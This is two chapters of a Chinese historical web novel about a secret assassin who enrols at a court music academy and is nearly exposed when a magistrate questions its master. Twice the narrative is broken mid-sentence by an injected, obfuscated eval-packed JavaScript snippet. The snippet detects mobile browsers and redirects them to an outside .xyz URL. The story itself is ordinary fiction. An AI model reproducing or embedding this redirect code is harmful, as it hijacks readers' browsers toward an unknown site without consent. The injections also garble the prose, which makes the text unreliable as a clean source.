《凤归千里》 3. 偏堂(1) 当日夜习告终已近亥时,亭台边的夜雾被凉风吹散些许,孟盈儿长叹下闷于心上的一口气,回首瞧望那庄严肃穆的琴堂,有惊无险地拍了拍胸脯。 “方才好险……”丫头未料想先生竟轻易宽恕,眉眼若新月弯起,原本的倾慕之情更深了,“才来了半日,若真被训斥了,我可要丢尽了脸……” 似念及了何事,孟盈儿小心翼翼地再拿出用油纸包好的糕点,轻递女子手上:“不过我娘做的桂花糕是真的味美,我给你留了一块,你可回房去品尝。” 楚轻罗目光微落,凝望被放于掌中的糕饼,尤感不自在。 来这司乐府本就不为学琴,更不为得曲先生抬爱,她不喜与他人有上瓜葛,只一心欲让深仇大恨有一了结。 至于所谓的情同姐妹,推心置腹,她不以为意,也无心去讨好。 淡漠地递回糕点,她似对旁物视若无睹,淡声回道:“不必,你自己留着。那琴道很是难懂,我还得多花上些时辰翻阅。” “看来轻罗你是真心喜爱学琴……”孟盈儿忽作感叹,似乎真碰上了勤学之人,自愧不如地将头埋得更低,面容不自知地泛起潮红。 “不像我,只为见先生而来……” 也不知那位曲先生是何处让这些深闺姑娘芳心暗许,她微蹙秀眉,暗自沉思,随之说着勤学的意图:“适才嬷嬷可是说了,琴技没有长进,先生是会不留人的。” “说的也是……”丫头赞同地颔首,却始终未拿回桂花糕,冲其轻眨了眼,便头也不回地奔向远处阁楼。 “糕点还热乎着,我先回房了,总不能被你们比下去!” 后山上的偶遇之景仍浮于思绪里,这位名震四方的宫廷大司乐比她所想还要年少,望其模样,与她相较似虚长不了几岁。 年纪轻轻竟能有这等名望,曲先生定是有过人之处…… 世人大多只听过曲先生的名讳,觉他德高望重,两袖清风,多少应是有些年长,连她也不外乎如是。 却当真少有人知晓,闻名遐迩的司乐府先生还处于弱冠之年,也只有像孟盈儿那般见过先生真容的,又是常年待于闺阁的女子,才会惦记到今时。 回想起林间所见那仙姿秀逸,孤冷出尘之姿,她心下了然,待他露了面,府中的大家闺秀恐是再难掩心悦之意。 楚轻罗思忖了一会儿,回过神的一霎已踏入闺房。 她不言不语地阖上门窗,将窗台处的帘子也拉了紧,而后点燃一盏红烛,顺着烛火照下的微光,望向墙角一带。 房中一角顿时现出一个人影,一位满身英气的劲装女子抱剑而立,虽有不羁之气缠身,在她面前却是毕恭毕敬。 那女子俯首听命,良久未听她言语,便斟酌片刻,正声问道:“主上,冯猇已死,接下来该如何去做?” 闲然地以一枚银针摆弄着摇曳的烛火,她无声思索了几瞬,双眸轻微一凝。 “探查疏雪楼,传言东家是皇室中人,这幕后之主究竟是谁,去打听一二。” “是。”女子明了般恭敬应下,欲敛声息语地退去,又被烛前女子唤了住。 “慢着,”微俯的娇姿端正了些,楚轻罗蹙了蹙眉,道下一句吩咐,“白日怕有人瞧出端倪,刺杀的匕首我扔在了后山,不想被曲先生望了见。” “你们去搜寻几番,寻找到了,便帮我灭迹。” 说完灭迹一词,她吹灭红烛,房内顿然冷寂,一切似陷入了昏暗里。 “是。” 暗中传来一声回语,随即没了动静,恍若那女子已隐入了黑夜,行无痕迹。 她从然拉开帘幔,月色倾照入帐,倦意也随着玄晖逐渐弥漫。 不经意又瞥到了方才带回的一块糕点,那名为孟盈儿的丫头心思纯良,倒可将之笼络而来,她静思片晌,终是尝起了丫头给的桂花糕。 夜习时堂下明争暗斗的景象她望于眼里,若想在此立足,一人行路怕是会无故引人瞩目。 与旁人同行,也好互相帮衬。 仰望着当空圆月,她困意尤甚,想着这座府邸有宫卫把守,应不会有性命之忧,她的身份府上无人会知,可安然睡上一觉。 如此一想,便悠然上了软榻,阖眼未久,她已而入眠。 翌日清晨之初,晓云披于暗幄,窗旁啼莺,晴空甚是清明。 庭中淡香暗浮,百花浸着朝露。 今早的堂课应能见着曲先生,可阁楼中的姑娘却是三五成群,游逛于府邸长廊。 楚轻罗行出雅房,眸底淌过丝许不解。 因寝房离得近,她一眼便望见孟盈儿正凭栏远望,似惬意赏着春景。 分明已到了白昼课时,怎未有一人前去琴堂听学,反倒安闲自在着…… 心头不免生出些困惑,她款步走近,轻问自得其乐的丫头:“为何不去堂中等先生授课?” 孟盈儿见是她来,忙带到一旁压低了语调:“轻罗你有所不知,嬷嬷方才来报,衙门来了人,说城南发生了一起命案,死的是一位宫中影卫,知府大人正在向曲先生问话呢。” “今日的课堂就这么延期了。” 似透了微许遗憾,丫头无奈撇唇,眸光再落向正堂旁的一处雅室。 她这才望得明白,孟盈儿在此原来不是为了赏景。丫头所望之地乃是曲先生的迎客之所,孟盈儿正担忧着先生的处境。 昨日刺杀冯猇明明在城南,断案的人怎会寻到司乐府来…… 莫非是她走得太急,被人跟了踪迹却浑然不知,楚轻罗不由心颤,却仅是一瞬,随后又镇静了下来。 而今尚且未得知是否被瞧清了面容,扔弃匕首的举动是真切被那人见着,倘若先生如实相道,直言不讳,她恐是抵不过官兵擒拿。 心底疑虑颇深,她一同倚栏而观,故作泰然道:“城南与此地相隔甚远,官府之人如何会查到这里?” 对此,孟盈儿心起惧怕,掩唇向她低语:“据说有人亲眼瞧见行凶者进了司乐府。知府大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467480|169821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断定,凶犯就藏在刚入府的学生中。” “若是寻常百姓家出了事,惊动不了府衙,”话语于此一顿,丫头怕说多了引来祸事,含糊其辞地告知着,“可死的是早些时候的大内侍卫……” “这般藐视皇威,知府大人就怕那人是冲着皇城宗室去的……” 楚轻罗遥望那一处雅堂,从此地望去,堂门紧阖闭,瞧不出所以然来,便抿唇再问:“盈儿可知,先生去了有多久了?” “约莫着两个时辰了,”细算了先生入堂的时刻,孟盈儿蓦地一惊,柳眉拧在了一起,慌忙问道,“你说先生会不会身临险境?” “如此担忧,我可随你去瞧瞧。”目光未移分毫,她沉默半刻,倏然启了唇。 旁侧姝影所言之意再清晰不过,丫头闻言怔然,虽说府规里写着不可踏入偏堂雅室,可…… 可来的是知府大人,查的是城南命案,事关先生的安危。 不论会受怎般惩处,也想去定下此心,孟盈儿犹豫未定,瞧向身旁柔若远山芙蓉的女子。 想必她所想与自己别无二致…… 丫头浅叹一声,试探般轻语:“擅自前去偏堂,先生恐是要怪罪……” 醉翁之意的确是不在于酒,那先生行事不可捉摸,她定是要借此时机探听上一些。 楚轻罗佯装忧愁,桃颜黯淡,黛眉隐约一拢,似比眼前俏影还要忧心:“我们是担心先生的安危,倘若真被察觉到行迹,道清来意,先生会谅解的。” “轻罗言之有理,我知道一条小径直通偏堂,且随我来。” 若有他人为伴,先生便觉情有可原,说不定就不会降罚。孟盈儿未再思量,轻挥着裳袖行下楼阁,蹑手蹑脚地潜入堂室里。 偏堂未像大殿琴堂那般宽敞通明,窗明几净,却多了几分清雅之风,四周以翠竹环绕,狭小别院枝繁叶茂,雅室幽窗翠意尤长。 几经弯绕来到堂窗边,楚轻罗无暇观赏小院景致,随孟丫头半蹲在侧,静听窗内叙谈之声。 堂内有清茶倒入杯盏的清脆之音,无言良晌,雅室中才传出清越语声。 清冽嗓音带着冷玉般的寒气,令人听着颇有震慑之力。 这语声她听过一回,便是前日在后山的云雾里偶然闻听,出尘若那天上雪,冷得让人发慌。 指尖轻叩身前案几,曲寒尽将斟满茶的杯盏移至案桌另一侧,正色道:“曲某还是那句话,出了命案,便一口咬定行凶之人在曲某的司乐府,李知府要拿出真凭实据来。” “曲先生说笑了,是因证据还未寻得到,下官才要来搜查的,”李云袤早已听出了话外之意,未动眸前茶盏,与之好言相劝,“这其中的因果,先生说反了。” 闻语,公子端雅而坐,得心应手般回道得有礼有节:“曲某且问李知府,司乐府是否是陛下所设?” “正是。”不明此人有何可辩驳,李云袤疑惑相视,前思后想,不禁顺口反问着。 “这又有何争议之处?” 4. 偏堂(2) “曲某身为大司乐,是否为百官中的一员?”曲寒尽闻声浅笑,笑意不易察觉,抬眸又问。 见此,李云袤赶忙起身跪拜而下,敬重地朝先生行礼:“当然,曲先生德高望重,我等皆敬仰有加,万不敢怠慢分毫。” 不论朝中官职,单凭先生不容侵犯的声望,便足以让这都城知府退避三分。若真得罪了曲先生,后果不堪设想,如此得不偿失之事,李云袤是万不敢做的。 “既然如此,这一地便归刑部和大理寺所管。李知府虽为百姓断案,也无权查到司乐府。” 一语轻巧落尽,公子直身而起,还不忘向跪地的知府作上一揖。 对此情形已无力再劝,李云袤凛眉作叹,意有所指般提醒道:“先生可知,若凶犯当真在府内藏着,先生便是包庇凶嫌的大罪……” 曲寒尽不为所动,谦逊有礼地下了逐客令:“真如李知府所言,曲某便担着,不劳烦大人操此心。” 这公子真当招架不得,李知府束手无策,深知他是有意袒护,并且此番是包庇定了,只好缓慢起身,极为不甘地离了雅堂。 “今日下官叨扰了司乐府,多有得罪,望先生……见谅。” 本觉着先生许会应允知府搜查,对旁事听而不闻,视而不见,亦或是将后山亲眼所见的一幕尽数相告,她未曾想,曲先生竟会明目张胆地护成这模样…… 楚轻罗在堂外听得一清二楚,正思索着,忽感裳裙被悄然一扯,便见身后的丫头指了指偏堂,又指向来时的路,示意她快些离去。 被发现了行踪,可是要招来麻烦。 雅室之门从里而开,孟盈儿轻声嘀咕,慌里慌张地轻步退离:“先生出来了,快走……” 穿过一条狭窄游廊,环顾无人察觉,先生也不曾洞悉,丫头才松下气来。 “曲先生也太威风了些……三言两语便将知府大人打发走了,”回想适才所闻,丫头笑逐颜开,越发倾慕起这位不可揣测的先生,喜笑道,“有先生这般偏护,往后谁还敢欺负司乐府的姑娘!” 哪知这一言刚落,就被迎面走来的嬷嬷撞了正着,孟盈儿猛地一打颤,退在一旁吞吞吐吐地不知该从何说起,一时神思纷乱。 “大胆!两位姑娘在此鬼鬼祟祟,实在是无法无天!”嬷嬷一瞧,便知大抵是发生了何事,顿时怒不可遏,板着脸扬声呵责。 这么一喊,真将先生引了来,局势顷刻间变得不可收拾。 曲寒尽赶到时,望见二道身影埋头立在嬷嬷跟前,眸光低垂,胆怯不已,像极了受到惊吓的山间野鹿,容颜充满了不安之色。 瞧先生走了来,嬷嬷恭肃让道,听他后续发落:“先生,这两名小娘子未经应允便来此偷听先生说话,要如何处置?” 无言片刻,清容未变丝毫神色,他轻盈摆袖,命那嬷嬷先告退:吗。 “你先退下,我自行责罚。” 待这一方堂院的下人退尽,长廊中唯有三道影子照落在地。 曲寒尽端雅地伫立,微微俯望两抹娇色,不发一语。 孟盈儿憋不住话语,浑身颤得厉害,不知是惧怕还是羞赧,杏眸不肯抬起:“先生,我与轻罗是见您迟迟未归琴堂,才偷跑来瞧上一眼。” “是……是担忧先生才来的。” “此言属实?”他歪头看向旁侧沉默不语的姝影,似话中有话般问道。 听闻先生质疑,丫头更慌了神,抬目一瞬,又忙俯首瞧下:“自是属实,我所说字字真心。” 曲寒尽似笑非笑,目光从她身上并未移去,良久再道:“我问的是她。” 兴许是那把匕首真令先生留意了,今日之祸是她招引来的,曲先生将怨气宣泄在她这儿也是入情入理。 可先生若真因此怀恨在心,此后的日子怕是不好过了…… 朝他恭敬作拜,楚轻罗莞尔一笑,缓声作答:“盈儿挂念着先生的安危,独自待在角落都急出了汗,可一人又不敢前来,我便出了这个馊主意。” 这答语似乎合了意,公子轻微颔首,柔声再问,可那字句间偏透出了威凛气息:“你承认此次是明知故犯,刻意越的矩?” “是,”她从容回道,想着眼下是免不了一顿罚,索性将此举认下,“一切皆是我之过,和盈儿无关。” 再是挑不出别的过错,曲寒尽敛眉若有所思,随后深思熟虑,道出罚处。 “那我罚你禁足二日,抄写琴道三十遍,你可有怨言?” “学生无怨。”闻语镇定地受下,她俯身行退而去,向着回廊尽头徐步走远。 好在这惩处算是轻的,只是罚抄书册与闭门思过,正巧借此可躲了府衙寻凶的风口浪尖,保自身周全。 至于他事,她并不在意。 揽来这过错,一来可让先生留一个恭顺乖巧的印象,二来可让孟盈儿内疚在心,来日待她更加抱诚守真。一举两得,顺心遂愿。 “这衣裳太过淡素,与你极不相称,多去看看他人穿着打扮,学着一些,”正行步思索着,忽闻身后飘来匪夷所思的话,她蓦然止步,听先生肃声又道,“以免丢了司乐府的颜面……” 衣裳…… 她低眸顺势瞧望,没觉得有何不妥。 想不明白先生何故道出这话语,莫不是她真让人瞧着不堪入目,丢尽了府邸的脸面…… 驻足后恭然行着礼,楚轻罗继续行走,彻底离退了偏堂:“学生谨记先生的教诲,先告退了。” 别院所遇像是虚惊一场,曲先生未生怒意,似随性降了一罚,这越矩之过便当是惩处了。 丫头惊魂未定,频频回望来路,确认逃过了此劫,直呼着气。 再望随步的女子,孟盈儿心感惭愧,毕竟她揽罚时没吭声,的确是有些难为情。 丫头愧疚地垂目,半晌喃喃低语:“轻罗,你为何要揽下这罪过?分明是我想来的,怎能就你一人担下此过……” “我这人帮助旁人,即便是友人,都需先收取报酬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467481|169821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”这一责罚不痛不痒,楚轻罗嫣然淡笑,悠缓地回瞧。 “昨日的桂花糕,便当作是报酬了。” “可是刚来这府邸,你便受罚禁了足,怕是要落下课来……”孟盈儿见她当真满不在乎,释怀了开,随即为她想出一个法子,欣然道。 “我将先生所讲的学问细细记于书籍上,放堂后再递于你看,你觉得如何?” 两日一晃眼就能过,着实落不下多少课来,可既然是丫头的好意,她便收下:“想来只能这样靠盈儿了……” 几面之缘的姑娘为自己挡了灾,为其摘录学问也是人之常情,孟盈儿喜形于色,由衷地言起谢来:“别这么客气,你如此帮我,让我能与曲先生说上话,还替我挡下此劫,我这举手之劳也是应当的!” “咱们的闺房又恰好离得近,仿佛是冥冥中注定的一般,往后咱们就是患难与共的闺中密友,你觉着我这提议可好?” 丫头瞥望将要走入的楼阁,忽而一念涌现,欢悦地回眸。 楚轻罗言笑晏晏,剪水秋眸泛起轻浅涟漪,轻声细语地回道:“你说得兴致盎然,看样子我是不好拒绝……” 至此,也算在府邸中结交了一位友人,将来至少不会遭人处处针对,她也算竭尽心力地融入其中,遇难处时也好有个照应。 听她应得轻快,孟盈儿顿觉畅怀,适才经历的几幕回荡于思绪间,尤其是先生的一举一动。 丫头越想,双颊便越涨得通红,再想自己的愚蠢之举,简直是丢人现眼。 “方才我见着先生,你不知我有多慌张……”丫头又羞又恼,自疚了好几回,念起先生,便霎时眉欢眼笑了起来。 “曲先生当真如传闻一样,生得清冽无瑕,仪态翩翩,清雅似谪仙,煞是好看……” 谈及先生,最后那费解之语再度萦绕在耳,孟盈儿不觉端量着身旁玉软花柔,百思不得其解。 “对了,先生说你衣着不相称,又是何意?我倒是觉得浅青色的罗裙挺相称的……” 对这处不解,她亦是不明一二,无论怎般想,也摸不清先生意欲何在…… “先生之意,我们何需多问,许是各家姑娘都梳妆打扮得明艳贵气,我在其中的确是不搭了些。”楚轻罗自若般轻笑,一想那一人是连大宁皇帝都敬重万分之人,其言定有着道理,决意从命而为。 “待回房,我便将这一身衣裳换了。” “多听先生的,有利而无一害,”对先生所言向来深信不疑,丫头盈盈点头,又想到李知府在堂内说下的言辞,顾虑重重道,“你说,知府大人还会再来吗?” “那位大人也真是的,司乐府内都是手无缚鸡之力的女子,怎会有凶犯藏于其中……” 闻言容色无澜,眸光轻缓地落向前方,她眉眼含笑,镇静自如地回着:“若是真有,那可真得当心些,盈儿定要顾好自己。” 孟盈儿警惕地瞧了瞧自己,随后再望向面前的孱弱娇柔之躯,不免为她先犯起了愁。